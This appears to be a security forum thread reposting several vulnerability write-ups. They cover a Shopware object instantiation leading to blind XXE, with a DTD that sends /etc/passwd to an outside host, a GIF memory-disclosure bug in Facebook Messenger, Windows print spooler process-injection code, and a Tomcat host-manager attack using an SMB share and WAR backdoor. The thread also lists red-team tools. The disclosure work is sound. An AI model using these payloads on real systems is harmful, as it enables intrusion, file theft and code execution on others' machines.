
    The input is then forwarded to the unserialize() method of Shopware\Components\ProductStream\Repository. Note that this is not a PHP Object Injection vulnerability and a custom unserialize() method. This method calls another unserialize() method of Shopware\Components\LogawareReflectionHelper.

     

    Components/ProductStream/Repository.php

    12345678
    namespace Shopware\Components\ProductStream;
    class Repository implements RepositoryInterface
    {
        public function unserialize($serializedConditions)
        {
            return $this->reflector->unserialize($serializedConditions, 'Serialization error in Product stream');
        }
    }

     

    The user input is passed along in the first parameter. Here, it ends up in a foreach loop.

     

    Components/LogawareReflectionHelper.php

     1 2 3 4 5 6 7 8 9101112131415
    namespace Shopware\Components;
    class LogawareReflectionHelper
    {
        public function unserialize($serialized, $errorSource)
        {
            classes = [];
            foreach($serialized as $className => $arguments)
            {
                
                $classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments);
                
            }
            return $classes;
        }
    }

     

    Each array key of the user input is then passed to a createInstanceFromNamedArguments() method as $className.

     

    Components/LogawareReflectionHelper.php

     1 2 3 4 5 6 7 8 91011121314
    namespace Shopware\Components;
    class ReflectionHelper
    {
        public function createInstanceFromNamedArguments($className, $arguments)
        {
            $reflectionClass = new \ReflectionClass($className);
            
            $constructorParams = $reflectionClass->getConstructor()->getParameters();
            
            // Check if all required parameters are given in $arguments
            
            return $reflectionClass->newInstanceArgs($arguments);
        }
    }

     

    Finally, the keypoint is the instantiation of an object with ReflectionClass of the type specified in $className. The invokation of the newInstanceArgs() method with user controlled input in $arguments allows to specify the arguments of the constructor. ReflectionClass is part of the reflection API introduced with PHP 5. It allows retrieving information (available methods, their awaited parameters, etc.) about all classes accessible at a given point during execution. As the name implies, newInstanceArgs() creates an instance of a class with given parameters. So basically at this point, we can instantiate arbitrary objects.

     

    Blind XXE

    Let’s take a look at how such a vulnerability can be exploited. An attacker that can control the input sent to the loadPreviewAction() method for product streams can provoke the instantiation of an arbitrary object with chosen parameters. Exploiting an object instantiation vulnerability with chosen parameters presents nearly the same challenges to an attacker as exploiting an object injection vulnerability. The difference is that instead of the magic method __wakeup() that gets called when an object is unserialized, __construct() gets called. Inspecting the lifecycle of an injected dummy object revealed that the following methods of its methods get called:

    1. __construct()
    2. __call() if method getName() not available. Else getName()
    3. __destruct()
    

     

    So what is left to do is to find a class available at runtime in which one of the above methods is implemented in an advantageous manner. Unfortunately we could not find any such class in the Shopware code base.

    However, at runtime also the PHP built-in classes are available! An interesting class of which one could instantiate an object in such a situation is SimpleXMLElement. This class is part of the PHP SimpleXML extension which is available on most PHP installations. When instantiating an object of SimpleXMLElement, the data passed to its constructor is parsed as XML. This can be exploited to launch an XML External Entity (XXE) attack. The signature of the constructor of SimpleXMLElement looks like the following:

    1
    SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = false [, string $ns = "" [, bool $is_prefix = false ]]]] )

     

    As the third parameter $data_is_url might imply, it’s even possible to pass an URL to an external XML file which should be parsed. The following XML and DTD example shows how this can be abused to read any file on the targeted system that the web server’s privileges allow access to.

     

    xxe.xml

    12345678
    <?xml version="1.0" ?>
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY % sp SYSTEM "http://1.3.3.7:8000/xxe.dtd">
    %sp;
    %param1;
    ]>
    <r>&exfil;</r>

     

     

    xxe.dtd

    12
    <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://1.3.3.7:8000/?%data;'>">

     

    First, the object instantiation vulnerability is used to instantiate a SimpleXMLElement object with the appropriate parameters. The parameter $options must be set to LIBXML_NOENT in order to activate entity substitution which is required for the XXE to work. The parameter $data_is_url is set to true and the $data points to the attackers xxe.xml file. When the XML file is parsed by the injected SimpleXMLElement object, it reads the /etc/passwd file from the file system and sends its content base64 encoded back to the attackers web server.

    123
    1.2.3.4 - - [07/Nov/2017 13:55:54] "GET /xxe.xml HTTP/1.0" 200 -
    1.2.3.4 - - [07/Nov/2017 13:55:54] "GET /xxe.dtd HTTP/1.0" 200 -
    1.2.3.4 - - [07/Nov/2017 13:55:54] "GET /?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmF....== HTTP/1.0" 200 -

    Finally, the attacker can read the content of the desired file by reviewing his web server’s log file and base64 decoding the received log entry.

    Time Line

    Date What
    2017/09/13 Reported vulnerabilities in Shopware ticket system
    2017/09/14 Coordinated disclosure timeline with vendor
    2017/10/02 Vendor fixed issues in code base
    2017/10/24 Vendor released fixed version 5.3.4

    Summary

    We analyzed the community edition of the popular e-commerce software Shopware as part of our PHP vulnerability research that contributes to open source security. Using cutting-edge static code analysis techniques, we identified two security issues in the code base. In this post we analyzed a unique and cool object instantiation vulnerability and presented a way of how such a vulnerability can be escalated into a blind XXE attack leading to arbitrary file disclosure.

    We would like to thank the team behind Shopware for their professional collaboration and for quickly resolving the issues with the release of version 5.3.4. If you are still using an older version, we encourage to update.

     

     

    Sursa: https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/

  12. Linux kernel exploitation experiments

    This is a playground for the Linux kernel exploitation experiments. Only basic methods. Just for fun.

    Contents:

    • drill_mod.c - a small Linux kernel module with nice vulnerabilities. You can interact with it via a simple debugfs interface.
    • drill_exploit_uaf.c - a basic use-after-free exploit.
    • drill_exploit_nullderef.c - a basic null-ptr-deref exploit, which uses wonderful mmap_min_addr bypass by Jann Horn.

    N.B. Only basic exploit techniques here. So compile your kernel with x86_64_defconfig and run it with pti=off nokaslr.

    Have fun!

     

    Sursa: https://github.com/a13xp0p0v/kernel-hack-drill

  13. Facebook Messenger server random memory exposure through corrupted GIF image

     
     

    Intro

    Year ago, in February 2018, I was testing Facebook Messenger for Android looking how it works with corrupted GIF images. I was inspired by Imagemagick "uninitialized memory disclosure in gif coder" bug and PoC called "gifoeb" (cool name for russian speakers). I found Messenger app only crashes with images generated by "gifoeb" tool with Nullpointer dereferrence (Facebook did't awarded bounty for DoS in Facebook Messenger for Android).
    Ok. I thought: what is GIF image format and how it looks, how I can generate my own image?
    (spoiler: 10K$ bug in Facebook Messenger for Web, but theory first)

    Basic GIF image

    I found clear description of GIF image format, the main header should look like this:

     
    Offset   Length   Contents
      0      3 bytes  "GIF"
      3      3 bytes  "87a" or "89a"
      6      2 bytes  <Logical Screen Width>
      8      2 bytes  <Logical Screen Height>
     10      1 byte   bit 0:    Global Color Table Flag (GCTF)
                      bit 1..3: Color Resolution
                      bit 4:    Sort Flag to Global Color Table
                      bit 5..7: Size of Global Color Table: 2^(1+n)
     11      1 byte   <Background Color Index>
     12      1 byte   <Pixel Aspect Ratio>
     13      ? bytes  <Global Color Table(0..255 x 3 bytes) if GCTF is one>
             ? bytes  <Blocks>
             1 bytes  <Trailer> (0x3b)
    
     
    (Full good description here: http://www.onicos.com/staff/iz/formats/gif.html#header)
    I decided to create the basic GIF file with the minimal required fields.
     

    Making own GIF

    To create own GIF I've taken python to help me generate binary file
     
     
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    import struct
    
    screenWidth = 640
    screenHeight = 480
    
    f = open('test.gif', 'wb')
    
    # Offset   Length   Contents
    #   0      3 bytes  "GIF"
    #   3      3 bytes  "87a" or "89a"
    f.write(b"GIF89a")
    
    #   6      2 bytes  <Logical Screen Width>
    f.write(struct.pack('<h', screenWidth))
    
    #   8      2 bytes  <Logical Screen Height>
    f.write(struct.pack('<h', screenHeight))
    
    #  10      1 byte   bit 0:    Global Color Table Flag (GCTF)
    #                   bit 1..3: Color Resolution
    #                   bit 4:    Sort Flag to Global Color Table
    #                   bit 5..7: Size of Global Color Table: 2^(1+n)
    bits = int('00000010', 2)
    f.write(struct.pack('<b', bits))
    
    #  11      1 byte   <Background Color Index>
    f.write(struct.pack('<b', 0))
    
    #  12      1 byte   <Pixel Aspect Ratio>
    f.write(struct.pack('<b', 1))
    
    #  13      ? bytes  <Global Color Table(0..255 x 3 bytes) if GCTF is one>
    
    #          ? bytes  <Blocks>
    
    
    # Offset   Length   Contents
    #   0      1 byte   Image Separator (0x2c)
    f.write(struct.pack('<b', 0x2c))
    
    #   1      2 bytes  Image Left Position
    f.write(struct.pack('<h', 0))
    
    #   3      2 bytes  Image Top Position
    f.write(struct.pack('<h', 0))
    
    #   5      2 bytes  Image Width
    f.write(struct.pack('<h', screenWidth))
    
    #   7      2 bytes  Image Height
    f.write(struct.pack('<h', screenHeight))
    
    #   8      1 byte   bit 0:    Local Color Table Flag (LCTF)
    #                   bit 1:    Interlace Flag
    #                   bit 2:    Sort Flag
    #                   bit 2..3: Reserved
    #                   bit 4..7: Size of Local Color Table: 2^(1+n)
    #          ? bytes  Local Color Table(0..255 x 3 bytes) if LCTF is one
    f.write(struct.pack('<b', int('00000100', 2)))
    
    #          1 byte   LZW Minimum Code Size
    #f.write(struct.pack('<b', 1))
    
    # [ // Blocks
    #          1 byte   Block Size (s)
    #f.write(struct.pack('<b', 1))
    
    #         (s)bytes  Image Data
    # ]*
    #          1 byte   Block Terminator(0x00)
    #f.write(struct.pack('<b', 0))
    
    
    #          1 bytes  <Trailer> (0x3b)
    
    
    
    f.write(struct.pack('<b', 0x3b))
    
    f.close()
    

    This script generates exactly the same image as we need. I left comments to see which headers we ignore in image, you can see that our GIF does't have image data blocks - it is empty, after color table flags goes trailer.
     

    Facebook Messenger 

    I started to test Facebook Messenger for Android with my generated GIFs (I had variations with different sizes, header fields), but nothing happened... Until I opened Messenger web page on my laptop and saw this weird image:
    28277544_199756737442330_145618297780436992_n.gif
    It was very small, increased size
    Wait, but our GIF does't have any content, what image I have back from Facebook?
    I had changed GIF size and saw this white noise image, hm, looks also weird:
     
    fb_1.jpg
    No TV signal

    Really strange. I've uploaded the same binary again and saw:
     
    fb_2.jpg
    Embedded TV screen in Messenger
    Image a bit changed. But I uploaded the same GIF in both cases.
    After playing with GIF screen/image sizes:
     
     
    fb_3.jpg
    Full screen picture
    This reminds me situation when you tried to read image from file and used width instead of height.
    Finally I caught this output:
    fb_4.jpg
    Semi stable TV signal in Messenger caught
    And I realized that I'm getting some previous buffer for GIF image, because my image does't have content body.
     

     

    Timeline

    26 FEB 2018: report sent to Facebook Team
    01 MAR 2018: triaged
    09 MAR 2018: fixed
    21 MAR 2018: 10k$

     

    Sursa: https://www.vulnano.com/2019/03/facebook-messenger-server-random-memory.html

  14. Windows Process Injection: Print Spooler

    Posted on March 7, 2019 by odzhan

    Introduction

    Every application running on the windows operating system has a thread pool or a “worker factory” and this internal mechanism allows an application to offload management of threads typically used for asynchronous operations. The automation of thread management facilitates the support of callback functions in response to I/O events or a timer expiring. Imagine you have a process that needs to send and receive data over the network. Do we want the application to wait indefinitely to receive something from the network? ..or do we want to perform other tasks simultaneously? Thread pooling enables more efficient management of threads and specifically asynchronous callback procedures. These functions can be patched in memory and this allows one to inadvertently execute code without the creation of a new thread. Figure 1 shows notepad running under the spooler process after being patched with shellcode and invoked using print spooler API.

    spooler.png?w=640

    Figure 1. Notepad running under spooler process.

    Finding Callback Environments

    Callback functions are stored in mostly opaque/undocumented structures that I haven’t taken the time to fully document here because my main objective is to perform code injection. For the print spooler, we’re only interested in the TP_ALPC structure that is used by TppAlpcpExecuteCallback located in NTDLL.dll. This function dispatches printer requests via the LPC port to LrpcIoComplete located in RPCRT4.dll. TP_ALPC contains a TP_CALLBACK_ENVIRON structure or what I’ll refer to as CBE from now on. CBEs can be found in both the stack and heap memory space of a process, so the virtual memory we need to scan has the following memory attributes.

    • State is MEM_COMMIT
    • Type is MEM_PRIVATE
    • Protect is PAGE_READWRITE

    The data we’re looking for can be interepreted using the following structure.

    typedef struct _TP_CALLBACK_ENVIRON_V3 {
        TP_VERSION                         Version;
        PTP_POOL                           Pool;
        PTP_CLEANUP_GROUP                  CleanupGroup;
        PTP_CLEANUP_GROUP_CANCEL_CALLBACK  CleanupGroupCancelCallback;
        PVOID                              RaceDll;
        struct _ACTIVATION_CONTEXT        *ActivationContext;
        PTP_SIMPLE_CALLBACK                FinalizationCallback;
        union {
            DWORD                          Flags;
            struct {
                DWORD                      LongFunction :  1;
                DWORD                      Persistent   :  1;
                DWORD                      Private      : 30;
            } s;
        } u;
        TP_CALLBACK_PRIORITY               CallbackPriority;
        DWORD                              Size;
    } TP_CALLBACK_ENVIRON_V3;
    

    However, in memory, two additional pointers are required. One is the actual callback function and the other is a callback parameter. It is likely a separate structure that also appears to be undocumented.

    00000000`011fbd08  00000000`00000001 ; Version
    00000000`011fbd10  00007ffc`b50c0680 ntdll!TppAlpcpCleanupGroupMemberVFuncs ; Pool
    00000000`011fbd18  00000000`00000000 ; CleanupGroup
    00000000`011fbd20  00000000`00000000 ; CleanupGroupCancelCallback
    00000000`011fbd28  00000000`00000000 ; RaceDll
    00000000`011fbd30  00000000`011fbd30 ; ActivationContext
    00000000`011fbd38  00000000`011fbd30 ; FinalizationCallback
    00000000`011fbd40  00000000`00000000 ; Flags
    00000000`011fbd48  00000000`00000000 ; CallbackPriority
    00000000`011fbd50  00000000`00000000 ; Size
    
    00000000`011fbd58  00007ffc`b38a9240 RPCRT4!LrpcIoComplete ; Callback
    00000000`011fbd60  00000000`0121c948 ; CallbackParameter
    

    The following structure is used to find valid CBEs instead of the original from the SDK.

    // this structure is derived from TP_CALLBACK_ENVIRON_V3,
    // but also includes two additional values. one to hold
    // the callback function and the other is a callback parameter
    typedef struct _TP_CALLBACK_ENVIRON_X {
        ULONG_PTR   Version;
        ULONG_PTR   Pool;
        ULONG_PTR   CleanupGroup;
        ULONG_PTR   CleanupGroupCancelCallback;
        ULONG_PTR   RaceDll;
        ULONG_PTR   ActivationContext;
        ULONG_PTR   FinalizationCallback;
        ULONG_PTR   Flags;
        ULONG_PTR   CallbackPriority;
        ULONG_PTR   Size;
        ULONG_PTR   Callback;
        ULONG_PTR   CallbackParameter;
    } TP_CALLBACK_ENVIRON_X;
    

    We read blocks of memory equivalent to the size of TP_CALLBACK_ENVIRON_X and validate them with some simple checks. The following function can determine if the memory looks like a valid CBE.

    BOOL IsValidCBE(HANDLE hProcess, PTP_CALLBACK_ENVIRONX cbe) {
        MEMORY_BASIC_INFORMATION mbi;
        SIZE_T                   res;
        
        // invalid version?
        if(cbe->Version > 5) return FALSE;
        
        // these values shouldn't be empty  
        if(cbe->Pool                 == 0 ||
           cbe->FinalizationCallback == 0) return FALSE;
           
        // these values should be equal
        if ((LPVOID)cbe->FinalizationCallback != 
            (LPVOID)cbe->ActivationContext) return FALSE;
        
        // priority shouldn't exceed TP_CALLBACK_PRIORITY_INVALID
        if(cbe->CallbackPriority > TP_CALLBACK_PRIORITY_INVALID) return FALSE;
        
        // the pool functions should originate from read-only memory
        res = VirtualQueryEx(hProcess, (LPVOID)cbe->Pool, &mbi, sizeof(mbi));
          
        if (res != sizeof(mbi)) return FALSE;
        if (!(mbi.Protect & PAGE_READONLY)) return FALSE;
        
        // the callback function should originate from read+execute memory
        res = VirtualQueryEx(hProcess, 
          (LPCVOID)cbe->Callback, &mbi, sizeof(mbi));
          
        if (res != sizeof(mbi)) return FALSE;
        return (mbi.Protect & PAGE_EXECUTE_READ);
    }
    

    Payload

    The payload is written in C and simply runs notepad. Calculator isn’t used because it’s a metro application on Windows 10 that has specific requirements to work. The TP_ALPC structure passed to LrpcIoComplete isn’t documented, but does include a structure similar to TP_CALLBACK_ENVIRON_V3. Once our payload is executed, we first restore the original Callback and CallbackParameter values. This is required because once we call WinExec, it will trigger another call to LrpcIoComplete, entering into an infinite loop before crashing the process. After restoration, call WinExec, followed by LrpcIoComplete using original values.

    #ifdef TPOOL // Thread Pool Callback
    // the wrong types are used here, but it doesn't really matter
    typedef struct _TP_ALPC {
        // ALPC callback info
        ULONG_PTR   AlpcPool;
        ULONG_PTR   Unknown1;
        ULONG_PTR   Unknown2;
        ULONG_PTR   Unknown3;
        ULONG_PTR   Unknown4;
        ULONG_PTR   AlpcActivationContext;
        ULONG_PTR   AlpcFinalizationCallback;
        ULONG_PTR   AlpcCallback;
        ULONG_PTR   Unknown5;
        // callback environment
        ULONG_PTR   Version;
        ULONG_PTR   Pool;
        ULONG_PTR   CleanupGroup;
        ULONG_PTR   CleanupGroupCancelCallback;
        ULONG_PTR   RaceDll;
        ULONG_PTR   ActivationContext;
        ULONG_PTR   FinalizationCallback;
        ULONG_PTR   Flags;
        ULONG_PTR   CallbackPriority;
        ULONG_PTR   Size;
        ULONG_PTR   Callback;
        ULONG_PTR   CallbackParameter;
    } TP_ALPC;
    
    typedef struct _tp_param_t {
        ULONG_PTR   Callback;
        ULONG_PTR   CallbackParameter;
    } tp_param;
    
    typedef TP_ALPC TP_ALPC, *PTP_ALPC;
    
    typedef void (WINAPI *LrpcIoComplete_t)(LPVOID, LPVOID, LPVOID, LPVOID);
    
    VOID TpCallBack(LPVOID tp_callback_instance, 
      LPVOID param, PTP_ALPC alpc, LPVOID unknown2) 
    #endif
    {
        WinExec_t pWinExec;
        DWORD     szWinExec[2],
                  szNotepad[3];
        #ifdef TPOOL
          LrpcIoComplete_t pLrpcIoComplete;
          tp_param         *tp=(tp_param*)param;
          ULONG_PTR        op;
          // param should contain pointer to tp_param
          pLrpcIoComplete = (LrpcIoComplete_t)tp->Callback;
          op              = tp->CallbackParameter;
          // restore original values
          // this will indicate we executed ok,
          // but is also required before the call to WinExec
          alpc->Callback          = tp->Callback;
          alpc->CallbackParameter = tp->CallbackParameter;
        #endif
        // now call WinExec to start notepad
        szWinExec[0] = *(DWORD*)"WinE";
        szWinExec[1] = *(DWORD*)"xec\0";
        
        szNotepad[0] = *(DWORD*)"note";
        szNotepad[1] = *(DWORD*)"pad\0";
    
        pWinExec = (WinExec_t)xGetProcAddress(szWinExec);
        
        if(pWinExec != NULL) {
          pWinExec((LPSTR)szNotepad, SW_SHOW);
        }
        
        // finally, pass the original message on..
        #ifdef TPOOL 
          pLrpcIoComplete(tp_callback_instance, 
            (LPVOID)alpc->CallbackParameter, alpc, unknown2);
        #endif
        
        #ifndef TPOOL
        return 0;
        #endif
    }
    

    Deploying and Triggering Payload

    Here, we use a conventional method of sharing the payload/shellcode with spooler process. This consists of:

    • OpenProcess(“spoolsv.exe”)
    • VirtualAllocEx(payloadSize, PAGE_EXECUTE_READWRITE)
    • WriteProcessMemory(payload, payloadSize)

    Once we have a valid CBE, we patch the Callback pointer with address to our payload and try invoke it using the print spooler API. Although OpenPrinter is used in the following code, you could probably use any other API that involves interaction with the print spooler service. At the abstraction layer, interaction with the print spooler service is conducted over Local Procedure Call (LPC) which is an interprocess communication. Over the network uses Remote Procedure Call (RPC) but we’re obviously not injecting over network. 😉

    // try inject and run payload in remote process using CBE
    BOOL inject(HANDLE hp, LPVOID ds, PTP_CALLBACK_ENVIRONX cbe) {
        LPVOID               cs = NULL;
        BOOL                 bStatus = FALSE;
        TP_CALLBACK_ENVIRONX cpy;    // local copy of cbe
        SIZE_T               wr;
        HANDLE               phPrinter = NULL;
        tp_param             tp;
        
        // allocate memory in remote for payload and callback parameter
        cs = VirtualAllocEx(hp, NULL, payloadSize + sizeof(tp_param), 
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                
        if (cs != NULL) {
            // write payload to remote process
            WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
            // backup CBE
            CopyMemory(&cpy, cbe, sizeof(TP_CALLBACK_ENVIRONX));
            // copy original callback address and parameter
            tp.Callback          = cpy.Callback;
            tp.CallbackParameter = cpy.CallbackParameter;
            // write callback+parameter to remote process
            WriteProcessMemory(hp, (LPBYTE)cs + payloadSize, &tp, sizeof(tp), &wr);
            // update original callback with address of payload and parameter
            cpy.Callback          = (ULONG_PTR)cs;
            cpy.CallbackParameter = (ULONG_PTR)(LPBYTE)cs + payloadSize;
            // update CBE in remote process
            WriteProcessMemory(hp, ds, &cpy, sizeof(cpy), &wr);
            // trigger execution of payload
            if(OpenPrinter(NULL, &phPrinter, NULL)) {
              ClosePrinter(phPrinter);
            }
            // read back the CBE
            ReadProcessMemory(hp, ds, &cpy, sizeof(cpy), &wr);
            // restore the original cbe
            WriteProcessMemory(hp, ds, cbe, sizeof(cpy), &wr);
            // if callback pointer is the original, we succeeded.
            bStatus = (cpy.Callback == cbe->Callback);
            // release memory for payload
            VirtualFreeEx(hp, cs, payloadSize, MEM_RELEASE);
        }
        return bStatus;
    }
    

    Figure 2 shows an attempt to inject code by four different DLL before finally succeeding with RPCRT4.dll.

    tpool_injection.png?w=640&h=185

    Figure 2. Code injection via Callback Environment

    The code shown here is only a proof of concept and could be refined to be more elegant or be applied to other processes that use thread pooling. I only use the print spooler here, but of course other processes use thread pooling and could also be leveraged for code injection. Sources can be found here.

    Update

    To use the same method of injection against almost any other process that uses ALPC, you can connect directly to the ALPC port.

    /**
      Get a list of ALPC ports with names
    */
    DWORD GetALPCPorts(process_info *pi) 
    {    
        ULONG                      len=0, total=0;
        NTSTATUS                   status;
        LPVOID                     list=NULL;    
        DWORD                      i;
        HANDLE                     hObj;
        PSYSTEM_HANDLE_INFORMATION hl;
        POBJECT_NAME_INFORMATION   objName;
        
        pi->ports.clear();
        
        // get a list of handles for the local system
        for(len=MAX_BUFSIZ;;len+=MAX_BUFSIZ) {
          list = xmalloc(len);
          status = NtQuerySystemInformation(
              SystemHandleInformation, list, len, &total);
          // break from loop if ok    
          if(NT_SUCCESS(status)) break;
          // free list and continue
          xfree(list);   
        }
        
        hl      = (PSYSTEM_HANDLE_INFORMATION)list;
        objName = (POBJECT_NAME_INFORMATION)xmalloc(8192);
        
        // for each handle
        for(i=0; i<hl->NumberOfHandles; i++) {
          // skip if process ids don't match
          if(hl->Handles[i].UniqueProcessId != pi->pid) continue;
    
          // skip if the type isn't an ALPC port
          // note this value might be different on other systems.
          // this was tested on 64-bit Windows 10
          if(hl->Handles[i].ObjectTypeIndex != 45) continue;
          
          // duplicate the handle object
          status = NtDuplicateObject(
                pi->hp, (HANDLE)hl->Handles[i].HandleValue, 
                GetCurrentProcess(), &hObj, 0, 0, 0);
                
          // continue with next entry if we failed
          if(!NT_SUCCESS(status)) continue;
          
          // try query the name
          status = NtQueryObject(hObj, 
              ObjectNameInformation, objName, 8192, NULL);
          
          // got it okay?
          if(NT_SUCCESS(status) && objName->Name.Buffer!=NULL) {
            // save to list
            pi->ports.push_back(objName->Name.Buffer);
          }
          // close handle object
          NtClose(hObj); 
        }
        // free list of handles
        xfree(objName);
        xfree(list);
        return pi->ports.size();
    }
    

    Connecting to ALPC port

    // connect to ALPC port
    BOOL ALPC_Connect(std::wstring path) {
        SECURITY_QUALITY_OF_SERVICE ss;
        NTSTATUS                    status;
        UNICODE_STRING              server;
        ULONG                       MsgLen=0;
        HANDLE                      h;
        
        ZeroMemory(&ss, sizeof(ss));
        ss.Length              = sizeof(ss);
        ss.ImpersonationLevel  = SecurityImpersonation;
        ss.EffectiveOnly       = FALSE;
        ss.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING;
    
        RtlInitUnicodeString(&server, path.c_str());
        
        status = NtConnectPort(&h, &server, &ss, NULL, 
          NULL, (PULONG)&MsgLen, NULL, NULL);
          
        NtClose(h);
        
        return NT_SUCCESS(status);
    }
    

    Deploying/Triggering

    Same as before except we have to try multiple ALPC ports instead of just using print spooler API.

    // try inject and run payload in remote process using CBE
    BOOL ALPC_deploy(process_info *pi, LPVOID ds, PTP_CALLBACK_ENVIRONX cbe) {
        LPVOID               cs = NULL;
        BOOL                 bInject = FALSE;
        TP_CALLBACK_ENVIRONX cpy;    // local copy of cbe
        SIZE_T               wr;
        tp_param             tp;
        DWORD                i;
        
        // allocate memory in remote for payload and callback parameter
        cs = VirtualAllocEx(pi->hp, NULL, 
          pi->payloadSize + sizeof(tp_param), 
          MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                
        if (cs != NULL) {
            // write payload to remote process
            WriteProcessMemory(pi->hp, cs, pi->payload, pi->payloadSize, &wr);
            // backup CBE
            CopyMemory(&cpy, cbe, sizeof(TP_CALLBACK_ENVIRONX));
            // copy original callback address and parameter
            tp.Callback          = cpy.Callback;
            tp.CallbackParameter = cpy.CallbackParameter;
            // write callback+parameter to remote process
            WriteProcessMemory(pi->hp, (LPBYTE)cs + pi->payloadSize, &tp, sizeof(tp), &wr);
            // update original callback with address of payload and parameter
            cpy.Callback          = (ULONG_PTR)cs;
            cpy.CallbackParameter = (ULONG_PTR)(LPBYTE)cs + pi->payloadSize;
            // update CBE in remote process
            WriteProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr);
            // trigger execution of payload
            for(i=0;i<pi->ports.size(); i++) {
              ALPC_Connect(pi->ports[i]);
              // read back the CBE
              ReadProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr);
              // if callback pointer is the original, we succeeded.
              bInject = (cpy.Callback == cbe->Callback);
              if(bInject) break;
            }
            // restore the original cbe
            WriteProcessMemory(pi->hp, ds, cbe, sizeof(cpy), &wr);
            // release memory for payload
            VirtualFreeEx(pi->hp, cs, 
              pi->payloadSize+sizeof(tp), MEM_RELEASE);
        }
        return bInject;
    }
    

    alpc_inject.png?w=640&h=344

    Sources can be found here.

     

    Sursa: https://modexp.wordpress.com/2019/03/07/process-injection-print-spooler/

  15. Tomcat exploit variant : host-manager

    Apache Tomcat exploit ubuntu exploitation d'un tomcat

    During an internal audit mission, I was led to exploit a Windows based Tomcat instance. Now usually, exploiting a Tomcat instance involves accessing the “manager”, which is suite a simple exploit.

    However, in this context, the manager was not accessible (403 HTTP error). But, and this is where it gets interesting, the host-manager was reachable.

    Context :

    Our target -> Windows 2012R2 server (192.168.56.31)

    Command Control C&C (Our Machine) -> Ubuntu 16.04 (192.168.56.1)

    Tomcat Version -> Latest release at the time of writing (8.5.37)

     

    Reconnaissance

    A nmap scan on the target host reveals that Tomcat is listening on the 8080 port.

    scan nmap tomcat installé - exploitation d'un tomcat

    This kind of target is ideal when auditing, because as a rule of thumb Tomcat is running with “nt authority\system” rights on the Windows host, which enables us to gain total control on the server should we succeed in breaching it. This in turn grants us passwords and hashes that will then enable us to move forward in our privilege escalation in the network.

    tomcat page default

    Authentification

    On first discovery of a Tomcat instance, the first action as an auditor is to try and authenticate through the manager. We generally try default credentials such as admin/admin or tomcat/tomcat.

    In this instance, I got an “Access Refused 403” when trying to access the manager with the “tomcat/tomcat” combo.

    authentification tomcat manager deny

    But, when I try the same thing on the host-manager ….

    … boom, HTTP 200, we are in.

    virtual host manager

    A few techniques are available to automatize the bruteforce phase:

    Module Metasploit : auxiliary/scanner/http/tomcat_mgr_login

    exploitation d'un tomcat avec bruteforce metasploit

    Hydra

    exploitation d'un tomcat avec bruteforce hydra

    Nikto (it integrates a test with the login combo “tomcat/tomcat”)

    bruteforce nikto tomcat

    A few scripts linked to Tomcat

    Exploiting the « host-manager »

    Ok, so we’ve got access to the host-manager, now what?

     

    The application does not have and upload form, and from what I’d gathered from the documentation, you need to know and control the path of the application you want to deploy, as well as a valid vhost.

    And when I was reading the doc again, I had the idea which would later become the exploit: what if I could create a UNC path pointing towards an SMB server (smbserver.py by impacket) that I controled !

     

    exploitation d'un tomcat par host manager detection

    Bingo! Tomcat connects to my server!

    exploitation d'un tomcat host manager detection smbserver

    Which means that Tomcat interprets the UNC path and is trying to install an application from the “datatest” folder. We will oblige it and create the “datatest” folder, and add a little WAR file in which we insert a backdoor that will enable us to take over the server from our C&C.

    1- Creating a WAR

    Creating a WAR is relatively simple; it’s a zip file whose extension we change to .war. Inside the zip file we have a JSP file that lets us execute system commands through the browser.

    We create our own ZIP with the backdoor inside it…

    créer un fichier .war - generate .war

    … and change the extension:

    créer un fichier zip pour le renommer en .war

    For all you script kiddies out there that aren’t sure about what you’re doing, you can use the handy msfvenom tool to create a WAR file and execute “meterpreter” directly:

    tomcat fichier .war msfvenom meterpreter

    2- Deploy and pwn

    Now that our WAR file is on the Tomcat server and deploy it from our C&C, we are going to use the smbserver.py provided by the “impacket” package to share the following folder:

    host manager dossier avant deploiement

    The deployment is done remotely, and the files are stored on our C&C. To access our backdoor, Tomcat uses the alias, which means it might be necessary to add the server’s IP in the /etc/hosts with vhost that we used for deployment.

    vhost etc host

    Now we configure the application before deployment:

    exploitation d'un tomcat, tomcat host manager avant déploiement

    Success !

    tomcat déploiement fichier etc host vhost

    Connection of Tomcat from my SMB server during deployment:

    tomcat connexion serveur samba

    A quick trip to our browser confirms that our backdoor is now in place, and that we can execute system commands on the Windows server.

    host manager nt system backdoor

    Contents of the directory on my machine once deployment is finished:

    répertoire appli déployée smbserver

     

    This method of Tomcat exploit has been tested on the following Tomcat versions when hosted on a windows server: <=7.0.92 et <=8.5.37.

     

    Sursa: https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/

  16. alt text

    This tool kit is very much influenced by infosecn1nja's kit. Use this script to grab majority of the repos.

    NOTE: hard coded in /opt and made for Kali Linux

    Total Size (so far): 2.5G

    Contents

    Reconnaissance

    Active Intelligence Gathering

    Passive Intelligence Gathering

    Frameworks

    Weaponization

    Delivery

    Phishing

    Watering Hole Attack

    Command and Control

    Remote Access Tools

    Staging

    Lateral Movement

    Establish Foothold

    Escalate Privileges

    Domain Escalation

    Local Escalation

    Data Exfiltration

    Misc

    Wireless Networks

    Embedded & Peripheral Devices Hacking

    Software For Team Communication

    • RocketChat is free, unlimited and open source. Replace email & Slack with the ultimate team chat software solution. https://rocket.chat
